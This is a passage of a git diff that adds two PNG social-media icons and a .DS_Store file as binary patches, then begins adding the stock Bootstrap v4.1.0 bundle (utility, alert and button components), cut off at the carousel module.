z{i+w&qRR5ZjO((|CjD9ZQDtG>OiLG>&$DoTazkESyQ{78w8X2eHG4kq{j^n9qDeo% zA@-Mn%^}G{yq0r3UP>5uJ0FWL(fjGk+4B9>oQR#8!SC+q@3s6{R>h%pFX!Z)-2X+( zkCu8}cp|BHd2yr4j1?}Ea-W{J^-_I%xiZwRBX8CEJt2jb(<4rZU$u4edQ~gGV1nA` zW<?!4h0pVzTIQ&H-1=hjjf2m(%zp2EQTwv^k3)Qg>tp5j%K5D~w=YhwC^wMx_jwXm zwRdB3@RIA@rI(#o`X1W<V|w&`Uv1&;E2q6LoSJxquj-1k&)Ek@yIiaqm9`(=d@O0F zc<`cE6EA1G#;sW^z?RgsSZvF$&%#EIGZP)fgvC`qJU?W;Iy<2??Y5LaVR+%3PF)RU zE|0S>?8*f==Q7+Dd2Btm_y~XK`M-bEjAs65w>o=@L%vMw<;=v+)b(>z&T+Jdi|ZN5 z9Ca4dai8z(S-#X{srUN1+&uZe+P(9u?so3^@aM1Rtv&1dC(Lw@*ZukBi@4)U=Yt1k zPcm5~|Msu@^s@`YbE-KfTWsEvUwx=d^~DX{Cu~ylV>k94%+C0_;ZyVbZ;f{iZdIL| zc<cS=*G(%fi?z;t-x@#na(tUZfY1ikY*v=fKHOKl=cX`xW#f#l{5$zy-s-(?mxe9+ zm}(Yt-f`ke_blZl;zmw?9p?GoopmaIP0pjWGRNMw#Lm09<<irn4@s+pT<-^IUYhpE z?B(Cja^=i*Ooek(4z-`|T4%_x$#2$2BXg~nCT^uxUAv^ME7iA~+^{OSpPD*1Im>;c zmyXTk>^0XsKU&Wg+^3i%muZ}SY2v#nN_|)73oUruo9=C78q#~DKh9^~NuQ_-Z87Y2 z8P(Py+;OYlUr+3BvMc*m7n1$$BhSU>+dow~G~AxBW#^a76~>1@9n8I0`?b|9X18V6 z#yc~0KAp?_@KP?UmeISS`CsQAzBz3>AI0dF1-t)Dao#2GxP$j@R0#j)y?-O#aBQ6S z^iR-kM#Zv!H7hyqSNbS^zHnRl)1tyhOJc+u-?1n>=Vm-!RG#hW{~`8^?9Qjle3!H+ q^$2(<O|H0px1nOkUwcM2h7$*`uDY`E^)dzq1_n=8KbLh*2~7Z;t?|(S literal 0 HcmV?d00001 diff --git a/public/images/social-icon.png b/public/images/social-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..4a8559a47ffae66fa2eaf5f9a8114cfbe8862512 GIT binary patch literal 3524 zcmeAS@N?(olHy`uVBq!ia0y~yV5nzcU{K{?V_;y&USZb6z`!6`;u=vBoS#-wo>-L1 z;Fyx1l&avFo0y&&l$w}QS$HzlhJk@uDKjLZB*NFnDmgz_FA=0huOhdA0R(L9D+&^m zvr|hHl2X$%^K6yg@7}MZkeOnu6mIHk;9KCFnvv;IRg@ZB<rk7%m7Q#vqGWHUU{hgL zkz0_PT9T+xk(-lOY*k^a1UA<yuh<GCtgoa1R#K8}s|0aWgl~X?bAC~(f~lUdZnA-) zp@Ny2o}r1UnVF%Ef{}rtk-mYEzJZypp^25LnU#^b0u(6ODcBUHq*(>IxIyhIN=dU- z$|xx*u+rBrFE7_CH`dE9O4m2Ew6p}7VPvFRl#-@fT$xvrSfQI&tPC^3CAB!YD6^m> zGe1uOWMX1cerbuVk`mO|irfOYv3bSNU`o!<)vrh_&^OdG0C@@G*W3bMU;IjQbK$Cs zOM+4n?!{_waY$uBs(w&vaeir0a%xa&nli{u1y;^Qsfi`|MIrh5Ij~R+$jC3rFV4s> zP;d@5Q_u*{%uC5HFV+OB_w}{%%quQQ%u7!7bg@;c$Su&z%uKN|G<Py^G&41Hwy?A? zG<3DJaB{S8H8Zv_H#asgb~3Pp>2=9ZF3nBND}m`vLFhHYsTY(KK*3?<l3J8mmYU*L zl%J~r_OewbPPdr2;WQ7bHwCv_3~=hzw^Oju2SqGWM8kxFT--oRaGC_APdf!f!cWah zu~jNkvbWn6aP~C=1DA!Ti(^Q|tuu4D3qr4ow(*-Q@(al+NjL;Z%;S9+=%OtWwMzG@ z-~~sY&>E-OfH@bN*4ybAgvcJh)MfmjctNn##KH|>f|D1Ci5h6|a0#)7Y|-FoT7N-d z%9AqPPjerB`F5}Ro89+0!q?8&pS<&C_vUwT+3WXS+kbuM+DRvuBrB?OvvIO<{o**q zqR!dHYIRZZ;PobdmfI}v8=B8`Dpoeh)$|29GFHipUE#J9uX#16;*#qH&kJDzC$ily z{A@@lpWqoSDfM6E;8Tg%|3BHAN}FVLuGLF~tGv*Ap)a9oA<KGSB;=utu3|H*z1W<# zzIRM&KW;uLY+^fD-6VBzf7FEsyZVw@@25}R8dm-AfL3qQ;y-`f0=m!LK5X(Yw5e0) z1b0)oj-3Nzcip}Ps}nXp_$eV?u;YPS&)V)Fca>YM6Zc+Xd@j*5`MX$+&J2H*Ztsxx z=o>b_>f^=t=>F(9aiwALD&g|9n$`prt9&t=6Xy>cyKYdteSwRC{|3$D1=dj?ybp#Q zywkC`q3!E!mZvUrOc@VV=Fcgcld$wb;KA*Juh#HY3D3@5oS=B_R>F_EUY@@!!5tFX zEZ>DhFLg`V^Zw!t<H{3PG3w!LGHa@ATH3Tp;Q7}_IR`&CMK(<mc=lSc!e@g^L6wWu ze6<M02we%uLp6U{&vRVkYD<%v{_f~|jyM6Iz8B3}X<YOA4lo|$j1!q7-+1nF;VMVP z^U;bG&Ia?(3O>72&T&t)$I!4&vTeVS)8XAaf&)}DWG~e`W?jva?y};uszrFE$LE(e zvsw3d1*C6%YIbmE-LZO(#TJH%jR|EOpLrBh>h#&>u7BW>GySp6Th`aC`@0>Vzh<$v zICoiUf6#}N6X|>8{lsk4C8i#hIXWj_{OF4B`7HcTERH{JI%@dJ#yvn+qa@zD!sz$O zrr#?o9}B5!h)rBLjb)DW=|$gJ&mURwU0yTxID5_i)~5Gd?>YjXS8MEDZmFr_uG(_; z7{lbOy_U`&<~&e6n02tE`+K(MB!A5e?Y}GY|BDziE>3-w+%*3n|Ba5m{WGI#;(M&L z8%@0nc<&t8=$fxCq4vYOfphD&nuvnZQ?I?;bPVP=-#nOgaA#AfLD(`Q$xAC$HExRk z{GY6|_?*9D<~%c*c(&WqPZ*`iw@jJ8rt!(HAj>%{ZzjCE$IB>|AmGxW9e-d+ZH{HX zR6WDOD<Qic9@LJW&{Qk-c)OX*`q^)lc;fR7>X^2yy_KdrWtVvN&uZC=X6MuGN_VMW z{JErt=f^_U$xlT0W@H?GA1`?B8uz{}bKK{q@%LqTE#*_r%Hi$|+S}zVZ~IT~phf!c z7$42)b<DdjyX4Q^um5K8{GPVCF<KGt3a2f3e!{Ql;AiE7@)mt!KhOML^&srvg_^wQ zaeO;6co&E;@0)cvwWDo`aR-xHP+y`HFHiOIguaCQS^Ks7_xH?S=kw(A3gtadKmW8> zs5CbG$5CP+`P;(!ch&qt{|VV=75gt_Y_UIGv9$XBRqn+s*IRGv@-E%(JzXg4R#o1= zcS2{>w%j~b_M=2NvpLXQ;@zvvg3q>>TOQsH=6NsmlIh^eJHjcGqZUo*<aye5Ii+@Y zQb>ML9j~};Ri^ReCmXFj^LdZ=dtP1g`kJ}p%<b9@AJZqj5dA#s-M{&h1OFK`d@PTg z^V9Xk-+c#f{GGC1IATHc4u-<@uI(wFi>67bOn$XxFVEL^C*Q6(`Abf1$?i`A$0xqK zb-g34ereF`w#jByeXTi*1m8|!+5Mtp>B3n?I;R2yq!0Xvf9$X<{ODU=Z`INX_di$L zpE@Mk^6U4eDOtNt)Em#J=TG04`E1|yq~@KRcPiif(oC?5X}tF}zUS|!8ZD;vHP6&) z)-uhzcs*#FO^@QYBD-9!i2Y`f8uK4;T{&`^eS(MFhn5ff4xE?tU2<>omsv95Um35Z zalMXuTA3>wdRSj$_2jnK3qR%e&dd6fAL$dF_TGDv?Dp>G9J_PE9n!P9gO(-zax{I@ zZ)CAM_-QV;yHC`MIUF0z*gMM-EiW6+6;9cDmq}{P1>sqrEV`S$%)2`-c3gfY-DZ*N zcst|egJrVrZ*_SB_*bTBb9cn;|GKA4bK!r+^M;9=FG>luyteZ@-QD(ZZd)?HaHY@O zZ>nA%!H?G$ow1(o_w<hWMB5(oULp6Nv9jN<hXhMM4BAo^81_xmf8W)V7c9H-;#CwX z&e<^b*dJ25@@n1xI}h%B^IFNs{H&no>{gE^c8M@qE%}YjzC7`>CNXGterB#{pX;(& z+SbOs(e>RztM}dxykQb;7fQU;nCBdR>9xJiuElHB$MQo5W}e~^T3%{bb<b5ZRckR% zc6qyO^|Xh(UfuB2WV?EOnb4>3C3~J1%{ko?d$siTr1N>ZdDtsXU&>&eSG-TbIVedf zIpB_3WQo2;*PJ)KQ*#p@aaEk3$FtCo)7$L4Q~NoUN$(~4?l<gfmi_<k*6TUXPA|^l zsa5dZbi<{@;&|q=3jMN8ra5x_KfP+so>xD4X@jX=!$<zW_uAe&ZgbwdyQ=3w*14kK zn=K#PHz*r<TDD9HI&OPOWocDd-cz5gdsU?R1^FYcT#ufU_Up#^AJ#MCC-1$vCf92D z+2aefPlo<^A|rHuZQhD_wx1VIE4?f_e8FMLCpC?})EjRarr(}6D>`DqS3AE&k{=^v z77AOhXk@*X@<H_Yzm-b8D)x#WjeJ$^Mw_b66_W}vpKbZPdy`7hyQhAO7oOXdI8FZd zpLu5UB^9@*-CWc#?Zv5v_xg*U?o>+KD>|K1Zej14ZEtfbkND1>8Q^JMe*B8uKBp<O zL>3!uza)HL>-f7Xs)qVWlDT&dGw=Ja<2W}Vp~tFRC`ZWW%$2>?6ZCFeG}Kt^7uFoK z^W4^sbjC*!E~Qu8Uv{3~y71Hddu^vWO0SvywEu0prBLqg`@n6E{sMb^PM1o2E?sWC z)u^p?&QYajx1P>9-mD!eQy=)MX8(d|c`w%-3-5XQu!U1lqlmdpO6=2~<_?v~N_7`f zB0Vmi%8gxrY-X48rJs58I9?@x+A)pW_WV52Goo8~9Xr=GwKl1<>{b4?;Hl2DvzE^U zS86;hT&1cgb<frP+D@yvjYT$(L+_V1&3k!FrG}$(wPyF0&=*|GcV-_6t1A4zM?$Mo zYkOm$hpbih+x;9ys^S-eBIFIPFY8;c5cjQp&E~i@u}(LCl`r3^zQLLAv#9g89d8T7 z9TxnpKiu$ex-rkwdl9dF-^Ns)xBNG!`jzRLdr>c^8|}FN;G(opQk|Nr(xjCI45bsy zvvppkneH+R%wTT&cKPa&1)IOQ-#OM6Z1+H3Ec=?|T=m1LHYb*y)mV0{d?{1X;lFL& z*J7qs?AJY%`j5|X(Uk}x_e3vovBfe?&epZrg%9q^1+AK~Vwt#{^4!PwH5NSyoT~bH z#%d9#?b_ToE@tL6*9(h%3Vso78pUbe^6SB=g1j{8i1(^4BI-Vmt7kJ-Er_vxUcdkL zGX?X!`4;MZC4QYQ_udO-DOK%!`}lTeR`i^Nw{H?X1!w27>?%*(>z(kM?_g1#n@ZXK igO8;z*MEp-WMeRWu!EaV=D~MRzsl3q&t;ucLK6Ua*b^K8 literal 0 HcmV?d00001 diff --git a/public/images/twitter-icon.png b/public/images/twitter-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..aa7f89180b6d4f7146bf1ca4c0220bec51636b06 GIT binary patch literal 1835 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 URX@uz6I6Y9y85}Sb4q9e0DFkVQUCw| literal 0 HcmV?d00001 diff --git a/public/js/.DS_Store b/public/js/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..8fe510e2ada637d56bf23a53d764d08987e21462 GIT binary patch literal 8196 zcmZQzU|@7AO)+F(kYHe7;9!8z0^AH(0Z1N%F(jFwB7z|E7#IW?7>XH67>XDY844Km zpmL+sXb6mkz-S1JhQMeDjE2DA3IRrlb2xC+`w-btax?@+LtsRP0H}OWfVAxy9H4Xq zga%15FfuTJy8w&~3@oq!Vg&aC7(j9$tsokt6-0xyGBAQzU^Bp485p5j8NuBUkUjyh zQH%^=?F@`yn?d4W?F@`yn;94wA=()jp*Ax@dnk+$?F@_%?F@`y+rdVT5~Cq78Ukn` z0P4F7GbAzOGvqUrp!DC97)lxP7*ZH=7*ZMZ7_u0OJ#+GtlXCKt7$8~Pje&td_dghb z%@ilj6b3zpT+j#snrU0eFfErMlOYeA+ZdJ5Op_+UZAhkJcO&BjG*fx7nu-xpjQ`N| z3E<L)-Cm{~qVyxVA2n>5ZlUQH!D>H}e(dgG_CPa-lOdU*6r5)A8FI131M@aC9l{J* z422A(45<u743!MJ48{z43<gk)WIw9=Sya$WQAIHYl%AZC+!4%>%uvLT&yd5A!;r*~ z$WX+f$B@jB&ydHE%#g@X0`?n@bi*<U%_d$9n{eo41!V!`+#rOevy35;A%`K8AqDJ) zRBWNenulR~E<-*;3OKa#7%~~Ez$`3zk@XImPELjbh8%`chICvxgkdEE1H%Gv=KT+H zIs-350Yg4R0Yd@Q4xF*U0Lu4sk#q_&6hnOmid9{PVun<P5{446&FR?u3C^7e6Cf4% zX#Ee4hEZZP1n3q5%n+L-K>dGL1_oT?{}5H9<Y)+thQP240Y(;=U>7HFryRTgKz(gc ze>wpw4eEn~y5o$XemO)RNC~KG53bD_A(M(=)r<^~o;)K1q$khFzyQ)ZIuHO3ol#;m I1O_Gq0BVsh1poj5 literal 0 HcmV?d00001 diff --git a/public/js/bootstrap.bundle.js b/public/js/bootstrap.bundle.js new file mode 100644 index 0000000..9bea2ea --- /dev/null +++ b/public/js/bootstrap.bundle.js @@ -0,0 +1,6433 @@ +/*! + * Bootstrap v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('jquery')) : + typeof define === 'function' && define.amd ? define(['exports', 'jquery'], factory) : + (factory((global.bootstrap = {}),global.jQuery)); +}(this, (function (exports,$) { 'use strict'; + + $ = $ && $.hasOwnProperty('default') ? $['default'] : $; + + function _defineProperties(target, props) { + for (var i = 0; i < props.length; i++) { + var descriptor = props[i]; + descriptor.enumerable = descriptor.enumerable || false; + descriptor.configurable = true; + if ("value" in descriptor) descriptor.writable = true; + Object.defineProperty(target, descriptor.key, descriptor); + } + } + + function _createClass(Constructor, protoProps, staticProps) { + if (protoProps) _defineProperties(Constructor.prototype, protoProps); + if (staticProps) _defineProperties(Constructor, staticProps); + return Constructor; + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + function _inheritsLoose(subClass, superClass) { + subClass.prototype = Object.create(superClass.prototype); + subClass.prototype.constructor = subClass; + subClass.__proto__ = superClass; + } + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): util.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Util = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Private TransitionEnd Helpers + * ------------------------------------------------------------------------ + */ + var TRANSITION_END = 'transitionend'; + var MAX_UID = 1000000; + var MILLISECONDS_MULTIPLIER = 1000; // Shoutout AngusCroll (https://goo.gl/pxwQGp) + + function toType(obj) { + return {}.toString.call(obj).match(/\s([a-z]+)/i)[1].toLowerCase(); + } + + function getSpecialTransitionEndEvent() { + return { + bindType: TRANSITION_END, + delegateType: TRANSITION_END, + handle: function handle(event) { + if ($$$1(event.target).is(this)) { + return event.handleObj.handler.apply(this, arguments); // eslint-disable-line prefer-rest-params + } + + return undefined; // eslint-disable-line no-undefined + } + }; + } + + function transitionEndEmulator(duration) { + var _this = this; + + var called = false; + $$$1(this).one(Util.TRANSITION_END, function () { + called = true; + }); + setTimeout(function () { + if (!called) { + Util.triggerTransitionEnd(_this); + } + }, duration); + return this; + } + + function setTransitionEndSupport() { + $$$1.fn.emulateTransitionEnd = transitionEndEmulator; + $$$1.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent(); + } + /** + * -------------------------------------------------------------------------- + * Public Util Api + * -------------------------------------------------------------------------- + */ + + + var Util = { + TRANSITION_END: 'bsTransitionEnd', + getUID: function getUID(prefix) { + do { + // eslint-disable-next-line no-bitwise + prefix += ~~(Math.random() * MAX_UID); // "~~" acts like a faster Math.floor() here + } while (document.getElementById(prefix)); + + return prefix; + }, + getSelectorFromElement: function getSelectorFromElement(element) { + var selector = element.getAttribute('data-target'); + + if (!selector || selector === '#') { + selector = element.getAttribute('href') || ''; + } + + try { + var $selector = $$$1(document).find(selector); + return $selector.length > 0 ? selector : null; + } catch (err) { + return null; + } + }, + getTransitionDurationFromElement: function getTransitionDurationFromElement(element) { + if (!element) { + return 0; + } // Get transition-duration of the element + + + var transitionDuration = $$$1(element).css('transition-duration'); + var floatTransitionDuration = parseFloat(transitionDuration); // Return 0 if element or transition duration is not found + + if (!floatTransitionDuration) { + return 0; + } // If multiple durations are defined, take the first + + + transitionDuration = transitionDuration.split(',')[0]; + return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER; + }, + reflow: function reflow(element) { + return element.offsetHeight; + }, + triggerTransitionEnd: function triggerTransitionEnd(element) { + $$$1(element).trigger(TRANSITION_END); + }, + // TODO: Remove in v5 + supportsTransitionEnd: function supportsTransitionEnd() { + return Boolean(TRANSITION_END); + }, + isElement: function isElement(obj) { + return (obj[0] || obj).nodeType; + }, + typeCheckConfig: function typeCheckConfig(componentName, config, configTypes) { + for (var property in configTypes) { + if (Object.prototype.hasOwnProperty.call(configTypes, property)) { + var expectedTypes = configTypes[property]; + var value = config[property]; + var valueType = value && Util.isElement(value) ? 'element' : toType(value); + + if (!new RegExp(expectedTypes).test(valueType)) { + throw new Error(componentName.toUpperCase() + ": " + ("Option \"" + property + "\" provided type \"" + valueType + "\" ") + ("but expected type \"" + expectedTypes + "\".")); + } + } + } + } + }; + setTransitionEndSupport(); + return Util; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): alert.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Alert = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'alert'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.alert'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var Selector = { + DISMISS: '[data-dismiss="alert"]' + }; + var Event = { + CLOSE: "close" + EVENT_KEY, + CLOSED: "closed" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + ALERT: 'alert', + FADE: 'fade', + SHOW: 'show' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Alert = + /*#__PURE__*/ + function () { + function Alert(element) { + this._element = element; + } // Getters + + + var _proto = Alert.prototype; + + // Public + _proto.close = function close(element) { + element = element || this._element; + + var rootElement = this._getRootElement(element); + + var customEvent = this._triggerCloseEvent(rootElement); + + if (customEvent.isDefaultPrevented()) { + return; + } + + this._removeElement(rootElement); + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + this._element = null; + }; // Private + + + _proto._getRootElement = function _getRootElement(element) { + var selector = Util.getSelectorFromElement(element); + var parent = false; + + if (selector) { + parent = $$$1(selector)[0]; + } + + if (!parent) { + parent = $$$1(element).closest("." + ClassName.ALERT)[0]; + } + + return parent; + }; + + _proto._triggerCloseEvent = function _triggerCloseEvent(element) { + var closeEvent = $$$1.Event(Event.CLOSE); + $$$1(element).trigger(closeEvent); + return closeEvent; + }; + + _proto._removeElement = function _removeElement(element) { + var _this = this; + + $$$1(element).removeClass(ClassName.SHOW); + + if (!$$$1(element).hasClass(ClassName.FADE)) { + this._destroyElement(element); + + return; + } + + var transitionDuration = Util.getTransitionDurationFromElement(element); + $$$1(element).one(Util.TRANSITION_END, function (event) { + return _this._destroyElement(element, event); + }).emulateTransitionEnd(transitionDuration); + }; + + _proto._destroyElement = function _destroyElement(element) { + $$$1(element).detach().trigger(Event.CLOSED).remove(); + }; // Static + + + Alert._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var $element = $$$1(this); + var data = $element.data(DATA_KEY); + + if (!data) { + data = new Alert(this); + $element.data(DATA_KEY, data); + } + + if (config === 'close') { + data[config](this); + } + }); + }; + + Alert._handleDismiss = function _handleDismiss(alertInstance) { + return function (event) { + if (event) { + event.preventDefault(); + } + + alertInstance.close(this); + }; + }; + + _createClass(Alert, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }]); + + return Alert; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DISMISS, Alert._handleDismiss(new Alert())); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Alert._jQueryInterface; + $$$1.fn[NAME].Constructor = Alert; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Alert._jQueryInterface; + }; + + return Alert; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): button.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Button = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'button'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.button'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var ClassName = { + ACTIVE: 'active', + BUTTON: 'btn', + FOCUS: 'focus' + }; + var Selector = { + DATA_TOGGLE_CARROT: '[data-toggle^="button"]', + DATA_TOGGLE: '[data-toggle="buttons"]', + INPUT: 'input', + ACTIVE: '.active', + BUTTON: '.btn' + }; + var Event = { + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY, + FOCUS_BLUR_DATA_API: "focus" + EVENT_KEY + DATA_API_KEY + " " + ("blur" + EVENT_KEY + DATA_API_KEY) + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Button = + /*#__PURE__*/ + function () { + function Button(element) { + this._element = element; + } // Getters + + + var _proto = Button.prototype; + + // Public + _proto.toggle = function toggle() { + var triggerChangeEvent = true; + var addAriaPressed = true; + var rootElement = $$$1(this._element).closest(Selector.DATA_TOGGLE)[0]; + + if (rootElement) { + var input = $$$1(this._element).find(Selector.INPUT)[0]; + + if (input) { + if (input.type === 'radio') { + if (input.checked && $$$1(this._element).hasClass(ClassName.ACTIVE)) { + triggerChangeEvent = false; + } else { + var activeElement = $$$1(rootElement).find(Selector.ACTIVE)[0]; + + if (activeElement) { + $$$1(activeElement).removeClass(ClassName.ACTIVE); + } + } + } + + if (triggerChangeEvent) { + if (input.hasAttribute('disabled') || rootElement.hasAttribute('disabled') || input.classList.contains('disabled') || rootElement.classList.contains('disabled')) { + return; + } + + input.checked = !$$$1(this._element).hasClass(ClassName.ACTIVE); + $$$1(input).trigger('change'); + } + + input.focus(); + addAriaPressed = false; + } + } + + if (addAriaPressed) { + this._element.setAttribute('aria-pressed', !$$$1(this._element).hasClass(ClassName.ACTIVE)); + } + + if (triggerChangeEvent) { + $$$1(this._element).toggleClass(ClassName.ACTIVE); + } + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + this._element = null; + }; // Static + + + Button._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + if (!data) { + data = new Button(this); + $$$1(this).data(DATA_KEY, data); + } + + if (config === 'toggle') { + data[config](); + } + }); + }; + + _createClass(Button, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }]); + + return Button; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) { + event.preventDefault(); + var button = event.target; + + if (!$$$1(button).hasClass(ClassName.BUTTON)) { + button = $$$1(button).closest(Selector.BUTTON); + } + + Button._jQueryInterface.call($$$1(button), 'toggle'); + }).on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) { + var button = $$$1(event.target).closest(Selector.BUTTON)[0]; + $$$1(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type)); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Button._jQueryInterface; + $$$1.fn[NAME].Constructor = Button; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Button._jQueryInterface; + }; + + return Button; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): carousel.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Carousel = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'carousel'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.carousel'; + 